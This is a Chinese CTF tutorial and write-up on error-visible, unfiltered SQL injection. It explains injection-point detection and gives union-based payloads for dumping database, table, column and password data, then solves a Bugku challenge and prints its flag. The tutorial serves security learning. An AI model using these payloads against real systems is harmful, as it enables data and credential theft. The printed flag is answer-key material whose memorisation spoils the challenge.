• CTF—WEB—sql注入之无过滤有回显最简单注入


    sql注入基础原理

    一、Sql注入简介

    Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

    二、Web 程序三层架构

    三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

    界面层(User Interface layer

    业务逻辑层(Business Logic Layer

    数据访问层(Data access layer)。

    区分层次的目的即为了高内聚低耦合的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。

    由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

    表示层。

    业务逻辑层(又称领域层)

    数据访问层(又称存储层)

    三、Sql 注入漏洞详解

     Sql 注入产生原因及威胁:

    Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
    这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

    Sql 注入带来的威胁主要有如下几点

    猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

    绕过认证,列如绕过验证登录网站后台。

    注入可以借助数据库的存储过程进行提权等操作

    四、判断 Sql 注入点

    通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :

    http://xxx.xxx.xxx/abcd.php?id=XX

    Sql 注入的判断,主要有两个方面:

    · 判断该带参数的 Url 是否存在 Sql 注入?

    · 如果存在 Sql 注入,那么属于哪种 Sql 注入?

    可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

    4.1 判断是否存在 Sql 注入漏洞

    最为经典的单引号判断法
    在参数后面加上单引号,比如:

    http://xxx/abc.php?id=1'

    如果页面返回错误,则存在 Sql 注入。
    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
    (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入

    4.2 判断 Sql 注入漏洞的类型

    通常 Sql 注入漏洞分为 2 种类型:

    · 数字型

    · 字符型

    其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

    数字型判断:

    当输入的参 x 为整型时,通常 abc.php Sql 语句类型大致如下:
    select * from <表名> where id = x
    这种类型可以使用经典的 and 1=1  and 1=2 来判断:

    · 

    1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

    · 

    1. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

    原因如下:
    当输入 and 1=1时,后台执行 Sql 语句:

    select * from <表名> where id = x and 1=1 

    没有语法错误且逻辑判断为正确,所以返回正常。

    当输入 and 1=2时,后台执行 Sql 语句:

    select * from <表名> where id = x and 1=2

    没有语法错误但是逻辑判断为假,所以返回错误。
    我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

    select * from <表名> where id = 'x and 1=1' 

    select * from <表名> where id = 'x and 1=2' 

    查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

    4.2.2 字符型判断:

    当输入的参 x 为字符型时,通常 abc.php SQL 语句类型大致如下:
    select * from <表名> where id = 'x'
    这种类型我们同样可以使用 and '1'='1  and '1'='2来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

    1. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

    原因如下:
    当输入 and '1'='1时,后台执行 Sql 语句:

    select * from <表名> where id = 'x' and '1'='1'

    语法正确,逻辑判断正确,所以返回正确。

    当输入 and '1'='2时,后台执行 Sql 语句:

    select * from <表名> where id = 'x' and '1'='2'

    语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证

    5. 猜解数据库

    1.  1’order by #   

     

    此句后台为: select first_name,last_name FROM users WHERE user_id=’1’ order by 1# ’

    当输入order by 1时不报错那么我们可以尝试23456,直到报错为止,加入数字等于时候报错,那说明当前表只有两个字段并且只有两列。

    2.  0’ union select 1,2,3,4#

    验证列数

    3. 1’union select database(),user()#

    对应:select first_name,last_name FROM users WHERE user_id=’1’ union select

    database(),user()#;

    此语句将查询到用户名和数据库名

    4.  1’union select version(),@@version_compile_os#

    对应 SELECT first_name,last_name FROM users WHERE user_id=’1’ union select

    version(),@@version_compile_os#

    version() 获取当前数据库版本 

    @@version_compile_os 获取当前操作系统

    5. 1’ union select 1,2,table_name from information_schema.tables where table_schema=’xxx(库名)’#

    或执行

    1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’xxx(库名)’#

    实际执行:SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'xxx'#`;

    information_schema mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

    通过查询得到数据库表名

    6.    1’ union select column_name,x from information_schema.columns where  

    table_name=‘xx()表名’#

    爆出字段名

    7. 1’ union select ‘xx(字段名)’,2,3,4 from  xx表名) #

    查询最终数据

    8. 1’ union select user,password from  uers #

    实际语句是:  SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

    猜测users数据表里面的字段是user password

    例题:

    1.无过滤带回显的情况

    靶机:(bugku web——成绩单)

    http://123.206.87.240:8002/chengjidan/index.phphttp://123.206.87.240:8002/chengjidan/index.php

    手工注入

    在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。

    首先判断sql语句闭合方式 

    输入1’报错,1#正常,说明存在注入:

    1. 爆列名:1’order by 3/4/5 #  4之前 正常 5无显示,说明有4列。
    2.爆库名: 0’union select 1,2,3,database()#
    库名:skctf_flag

    3.爆表名: 0’union select 1,2,3,table_name from information_schema.tables where table_schema=’skctf_flag’ #

    表名:fl4g

    4爆字段名:0’union select 1,2,3,column_name from information_schema.columns where  
    table_name=’fl4g’  #

    字段名:skctf_flag

    6. 爆出关键字:  0' union select 1,2,3,skctf_flag from fl4g#

    BUGKU{Sql_INJECT0N_4813drd8hz4}

     

  • 相关阅读:
    Python在计算内存时应该注意的问题?
    如何高效地远程部署?自动化运维利器 Fabric 教程
    强大的 Python 任务自动化工具!invoke 十分钟入门指南
    进一步学习 nox 教程,轻松掌握命令行用法
    Oracle Solaris 11.4安装桌面/gdb
    Solaris 10上Oracle 10g安装步骤图解
    Oracle Solaris 10图文安装
    读取模式下cbc latch的事件模拟(热块竞争和热链竞争)-P62
    关于位图数据位和系统管理区大小-P6
    关于位图数据和标记位-P3
  • 原文地址:https://www.cnblogs.com/zhaoyixiang/p/10974658.html
Copyright © 2020-2023  润新知